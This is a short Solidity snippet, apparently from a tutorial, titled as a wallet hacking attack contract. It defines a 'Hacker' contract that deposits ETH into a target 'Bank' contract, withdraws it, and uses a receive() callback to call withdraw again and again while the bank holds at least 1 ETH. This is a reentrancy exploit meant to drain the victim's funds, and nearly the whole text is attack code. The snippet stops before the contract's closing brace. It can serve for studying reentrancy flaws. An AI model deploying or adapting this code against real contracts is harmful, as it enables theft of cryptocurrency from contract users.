wallet hacking attack contract【1-1】
contract Hacker {
Bank public bank ;
constructor (Bank _bank){
bank = _bank ;
}
//Bank △△△'s wallet attack function
function attack( ) external payable {
//deposit at least 1 ETH to launch an attack
require(msg.value >= 1 ether, "Need at least 1 ether");
//deposit money to Bank 〇〇〇 wallet
bank.deposit{value: msg.value}();
//withdraw money from Bank 〇〇〇 wallet
bank.withdraw();
}
//callback function, as long as ETH is received, a withdrawal will be initiated
receive() external payable{
if (address (bank).balance >= 1 ether){
bank.withdraw();
}
}